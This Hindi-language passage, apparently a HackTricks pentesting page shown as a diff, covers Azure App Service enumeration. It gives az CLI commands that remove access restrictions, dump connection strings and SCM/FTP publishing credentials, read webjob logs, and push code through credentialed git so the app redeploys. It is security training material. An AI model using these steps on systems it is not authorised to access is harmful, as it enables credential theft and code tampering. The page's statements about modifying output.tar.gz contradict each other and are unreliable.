विशेषताएँ** जो ऐप सेवाएँ उपयोग करती हैं (`webapp` az cli में), **Function apps द्वारा भी उपयोग की जाती हैं**। - -### Enumeration - -{{#tabs }} -{{#tab name="az" }} -```bash -# List webapps -az webapp list -## Less information -az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table -## Get SCM URL of each webapp -az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g' - -# Get info about 1 app -az webapp show --name --resource-group - -# Get instances of a webapp -az webapp list-instances --name --resource-group -## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web - -# Get access restrictions of an app -az webapp config access-restriction show --name --resource-group - -# Remove access restrictions -az webapp config access-restriction remove --resource-group -n --rule-name - -# Get connection strings of a webapp -az webapp config connection-string list --name --resource-group - -# Get appsettings of an app -az webapp config appsettings list --name --resource-group - -# Get SCM and FTP credentials -az webapp deployment list-publishing-profiles --name --resource-group - -# Get configured Auth information -az webapp auth show --name --resource-group - -# Get backups of a webapp -az webapp config backup list --webapp-name --resource-group - -# Get backups scheduled for a webapp -az webapp config backup show --webapp-name --resource-group - -# Get snapshots -az webapp config snapshot list --resource-group -n - -# Restore snapshot -az webapp config snapshot restore -g -n --time 2018-12-11T23:34:16.8388367 - -# Get slots -az webapp deployment slot list --name --resource-group --output table -az webapp show --slot --name --resource-group - -# Get traffic-routing -az webapp traffic-routing show --name --resource-group - -# Get used container by the app -az webapp config container show --name --resource-group - -# Get storage account configurations of a webapp -az webapp config storage-account list --name --resource-group - -# Get configured container (if any) in the webapp, it could contain credentials -az webapp config container show --name --resource-group - -# Get Webjobs -az webapp webjob continuous list --resource-group --name -az webapp webjob triggered list --resource-group --name - -# Read webjobs logs with Azure permissions -az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" -az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" - -# Read webjobs logs with SCM credentials -curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \ ---user ':' -v - -# Get connections of a webapp -az webapp conection list --name --resource-group - -# Get hybrid-connections of a webapp -az webapp hybrid-connections list --name --resource-group -``` -{{#endtab }} - -{{#tab name="Az Powershell" }} -```powershell -# Get App Services and Function Apps -Get-AzWebApp -# Get only App Services -Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"} -``` -{{#endtab }} - -{{#tab name="az get all" }} -```bash -#!/bin/bash - -# Get all App Service and Function Apps - -# Define Azure subscription ID -azure_subscription="your_subscription_id" - -# Log in to Azure -az login - -# Select Azure subscription -az account set --subscription $azure_subscription - -# Get all App Services in the specified subscription -list_app_services=$(az appservice list --query "[].{appServiceName: name, group: resourceGroup}" -o tsv) - -# Iterate over each App Service -echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do -# Get the type of the App Service -service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv) - -# Check if it is a Function App and print its name -if [ "$service_type" == "functionapp" ]; then -echo "Function App Name: $appServiceName" -fi -done -``` -{{#endtab }} -{{#endtabs }} - -#### क्रेडेंशियल प्राप्त करें और वेबऐप कोड तक पहुँचें -```bash -# Get connection strings that could contain credentials (with DBs for example) -az webapp config connection-string list --name --resource-group -## Check how to use the DBs connection strings in the SQL page - -# Get credentials to access the code and DB credentials if configured. -az webapp deployment list-publishing-profiles --resource-group -n - - -# Get git URL to access the code -az webapp deployment source config-local-git --resource-group -n - -# Access/Modify the code via git -git clone 'https://:@name.scm.azurewebsites.net/repo-name.git' -## In my case the username was: $nameofthewebapp and the password some random chars -## If you change the code and do a push, the app is automatically redeployed -``` -{{#ref}} -../az-privilege-escalation/az-app-services-privesc.md -{{#endref}} - -## वेब ऐप्स बनाने के उदाहरण - -### स्थानीय से पायथन - -यह ट्यूटोरियल [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli) से आधारित है। -```bash -# Clone repository -git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart -cd msdocs-python-flask-webapp-quickstart - -# Create webapp from this code -az webapp up --runtime PYTHON:3.9 --sku B1 --logs -``` -SCM पोर्टल में लॉगिन करने या FTP के माध्यम से लॉगिन करने पर `/wwwroot` में `output.tar.gz` नामक संकुचित फ़ाइल देखी जा सकती है, जिसमें वेब ऐप का कोड होता है। - -> [!TIP] -> केवल FTP के माध्यम से कनेक्ट करना और फ़ाइल `output.tar.gz` को संशोधित करना वेब ऐप द्वारा निष्पादित कोड को बदलने के लिए पर्याप्त नहीं है। - -**एक हमलावर इस फ़ाइल को डाउनलोड कर सकता है, इसे संशोधित कर सकता है, और इसे फिर से अपलोड कर सकता है ताकि वेब ऐप में मनमाना कोड निष्पादित किया जा सके।** - -### Github से Python - -यह ट्यूटोरियल पिछले वाले पर आधारित है लेकिन एक Github रिपॉजिटरी का उपयोग कर रहा है। - -1. अपने Github खाते में msdocs-python-flask-webapp-quickstart रिपॉजिटरी को फोर्क करें। -2. Azure में एक नया Python वेब ऐप बनाएं। -3. `Deployment Center` में स्रोत बदलें, Github के साथ लॉगिन करें, फोर्क की गई रिपॉजिटरी का चयन करें और `Save` पर क्लिक करें। - -जैसे पिछले मामले में, SCM पोर्टल में लॉगिन करने या FTP के माध्यम से लॉगिन करने पर `/wwwroot` में `output.tar.gz` नामक संकुचित फ़ाइल देखी जा सकती है, जिसमें वेब ऐप का कोड होता है। - -> [!TIP] -> केवल FTP के माध्यम से कनेक्ट करना और फ़ाइल `output.tar.gz` को संशोधित करना और एक डिप्लॉयमेंट को फिर से ट्रिगर करना वेब ऐप द्वारा निष्पादित कोड को बदलने के लिए पर्याप्त नहीं है। - -## संदर्भ - -- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview) - -{{#include ../../../banners/hacktricks-training.md}}